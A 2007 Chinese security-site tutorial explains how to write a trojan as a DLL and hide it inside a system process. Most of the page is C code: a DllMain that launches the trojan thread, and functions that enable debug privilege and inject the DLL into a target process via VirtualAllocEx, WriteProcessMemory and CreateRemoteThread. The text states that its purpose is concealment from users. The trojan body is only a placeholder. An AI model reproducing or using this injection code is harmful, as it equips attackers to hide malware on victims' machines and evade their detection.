计算机网络安全资讯站点
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 网络编程 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
基于Webshell的sniffer可行性研究
从上传webshell到突破TCP/IP筛选到
关于WEBSHELL中的命令提示符没有权
使用webshell突破虚拟主机权限设置
通过webshell获得admin全攻略
渗透某红客站点--由webshell到最高
Mssql Backup a Shell 突破特殊字符
入侵www.cnwill.com
Do All in Cmd Shell
从后台到webshell的一点思路
DLL木马的写法
作者:佚名 来源:安全在线 更新时间:2007-4-11 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

阅读提示: 木马运行关键是隐藏,神不知鬼不觉才是王道.要隐藏,先要隐藏进程,Windows操作系统中程序以进程的方式运行,大多数操作系统也是如此.     木马运行关键是隐藏,神不知鬼不觉才是王道.要隐藏,先要隐藏进程,Windows操作系统中程序以进程的
方式运行,大多数操作系统也是如此.任务管理器就可以看到当前运行的进程,所以有人HOOK相关枚举进程的函
数,让任务管理器不显示木马进程,也有人把自己的木马注册成服务运行,"任务管理器"不显示服务的.这样做只
是障眼法,进程还是存在的,最好的方法是让进程不存在,让木马作为其他进程的一个线程来运行.Windows操
作系统提出了DLL的概念,其系统API都是通过DLL的形式出现的,应用程序动态链接到DLL来调用API,DLL在
内存中只存在一个副本就可以满足不同应用程序的调用了,因此可以把木马写成DLL文件,让他作为进程的一部
分运行,最好是系统进程的一部分,一般人很难看到一个进程加载了哪些DLL,也就很难发现这种木马(用
IceSword可以看到进程的DLL模块).

    一 编写一个DLL木马:

    使用IDE : Visual C++ 6.0 Visual Studio.NET 2003/2005都可以.

    首先建立一个Win32 Dynamic-Link Library工程.选择 A simple DLL project建立工程,然后就会看到:

BOOL APIENTRY DllMain( HANDLE hModule, // 模块句柄.
DWORD ul_reason_for_call, // 调用标志.
LPVOID lpReserved // 返回数据.
)
{
return TRUE;
}

    这个是DLL的入口点函数,只能做一些简单的初始化工作.这个函数和WinMain wWinMain _tWinMain main这四个标准的入口点函数是完全不同的,DllMain会被多次调用,上述四个入口点只被系统调用一次.顺便说一句dll文件结构和exe文件是完全一致的.

DWORD ul_reason_for_call, // 调用标志.

这个参数由系统传递,用于判断调用DllMain函数时候的状态.可能是以下四个常量:

DLL_PROCESS_ATTACH: DLL被进程第一次使用时,就是进程调用LoadLibrary函数时

DLL_THREAD_ATTACH:

DLL_THREAD_DETACH:

DLL_PROCESS_DETACH: DLL被释放的时候

MSDN原文:

    DLL_PROCESS_ATTACH
    The DLL is being loaded into the virtual address space of the current process as a result of the process starting up or as a result of a call to LoadLibrary. DLLs can use this opportunity to initialize any instance data or to use the TlsAlloc function to allocate a thread local storage (TLS) index.

    DLL_THREAD_ATTACH
    The current process is creating a new thread. When this occurs, the system calls the entry-point function of all DLLs currently attached to the process. The call is made in the context of the new thread. DLLs can use this opportunity to initialize a TLS slot for the thread. A thread calling the DLL entry-point function with DLL_PROCESS_ATTACH does not call the DLL entry-point function with DLL_THREAD_ATTACH.
Note that a DLL's entry-point function is called with this value only by threads created after the DLL is loaded by the process. When a DLL is loaded using LoadLibrary, existing threads do not call the entry-point function of the newly loaded DLL.

    DLL_THREAD_DETACH
    A thread is exiting cleanly. If the DLL has stored a pointer to allocated memory in a TLS slot, it should use this opportunity to free the memory. The system calls the entry-point function of all currently loaded DLLs with this value. The call is made in the context of the exiting thread.

    DLL_PROCESS_DETACH
    The DLL is being unloaded from the virtual address space of the calling process as a result of unsuccessfully loading the DLL, termination of the process, or a call to FreeLibrary. The DLL can use this opportunity to call the TlsFree function to free any TLS indices allocated by using TlsAlloc and to free any thread local data.
Note that the thread that receives the DLL_PROCESS_DETACH notification is not necessarily the same thread that received the DLL_PROCESS_ATTACH notification.

    判断:当 ul_reason_for_call 等于 DLL_PROCESS_ATTACH 时就新开一个线程启动木马.记住一定要新开一个线程,不能把DllMain当main函数用.

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// 启动木马线程.
CreateThread(NULL,0,MainThread,0,0,0);
break;

case DLL_THREAD_ATTACH:
break;

case DLL_THREAD_DETACH:
break;

case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

DWORD WINAPI MainThread(LPVOID lpParameter)
{
// 这里就是木马的代码了
... ...
}

    二 DLL木马的启动:

    远程进程插入启动木马:将木马DLL插入运行中的进程空间中,让其运行.

    具体做法是先将系统权限提升到DEBUG模式下,因为只有DEBUG模式才能打开进程句柄.然后用OpenProcess函数远程以 PROCESS_Create_THREAD , PROCESS_VM_OPERATION , PROCESS_VM_WRITE
的权限打开要插入的进程,得到进程的句柄.用VirtualAllocEx函数给DLL文件的路径分配内存空间.
用WriteProcessMemory函数将DLL文件内容写入进程空间中.用CreateRemoteThread函数启动就完成
了进程的远程插入.

代码如下:


////////////////////////////////////////////////////////////////////////
// 远程插入线程
// char szDllFullPath[] DLL文件完整路径.
// DWORD dwRemoteProcessID 要插入的进程ID号
// 返回: TRUE 插入进程成功
// FALSE 失败
BOOL InjectDll(char szDllFullPath[],DWORD dwRemoteProcessID)
{
HANDLE hRemoteProcess;
if(EnableDebugPriv(SE_DEBUG_NAME) == 0)
{
return FALSE;
}

// 打开远程线程
if((hRemoteProcess = OpenProcess(PROCESS_Create_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,FALSE,dwRemoteProcessID))== NULL)
{
return FALSE;
}

char * pszLibFileRemote;

// 使用VirtualAllocEx函数在远程进程内存地址空间分配DLL文件名缓冲区
pszLibFileRemote = (char *)VirtualAllocEx( hRemoteProcess,NULL,lstrlen(szDllFullPath)+1,MEM_COMMIT,PAGE_READWRITE);
if(pszLibFileRemote == NULL)
{
return FALSE;
}

if(WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(void *)szDllFullPath,lstrlen(szDllFullPath)+1,NULL) == 0)
{
return FALSE;
}

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("Kernel32"),"LoadLibraryA");
if(pfnStartAddr == NULL)
{
return FALSE;
}
// 通过建立远程连接的地址:pfnStartAddr
// 传递参数 pszLibFileRemote 远程启动DLL
// 启动远程线程 LoadLibraryA 通过远程线程调用用户的DLL文件
HANDLE hRemoteThread;
if((hRemoteThread = CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL)) == NULL)
{
return FALSE;
}
return TRUE;
}

这个函数也会用到的:

////////////////////////////////////////////////////////////////////////
// 获取进程ID号
// 如无此进程则返回 0;
// char szProcName[] 进程名: .exe文件.
DWORD GetProcID(char szProcName[])
{
HANDLE th = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 pe = {sizeof(pe)};
DWORD dwProcID = 0;

BOOL bOK=Process32First(th,&pe);
while(bOK)
{
bOK = Process32Next(th,&pe);

LPCTSTR lpszExeFile = strrchr(pe.szExeFile,'//');
if(lpszExeFile == NULL)
lpszExeFile = pe.szExeFile;
else
lpszExeFile++;

if(strcmp(szProcName,lpszExeFile) == 0)
{
dwProcID = pe.th32ProcessID;
break;
}
}

return dwProcID;
}

////////////////////////////////////////////////////////////////////////
// 提升系统权限到DEBUG模式
int EnableDebugPriv(char szName[])
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;

// 打开进程环令牌
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
{
return 0;
}

if(!LookupPrivilegeValue(NULL,szName,&luid))
{
return 0;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
// 调整权限
if(!AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
{
return 0;
}

return 1;
}

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2007 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    友情提示:建议使用IE6.0版本, 分辩率1024*768进行浏览
    中国安全在线 敢想 敢做 挑战自我 努力做最好
    中网科技有限公司 技术支持 鄂ICP备05006475号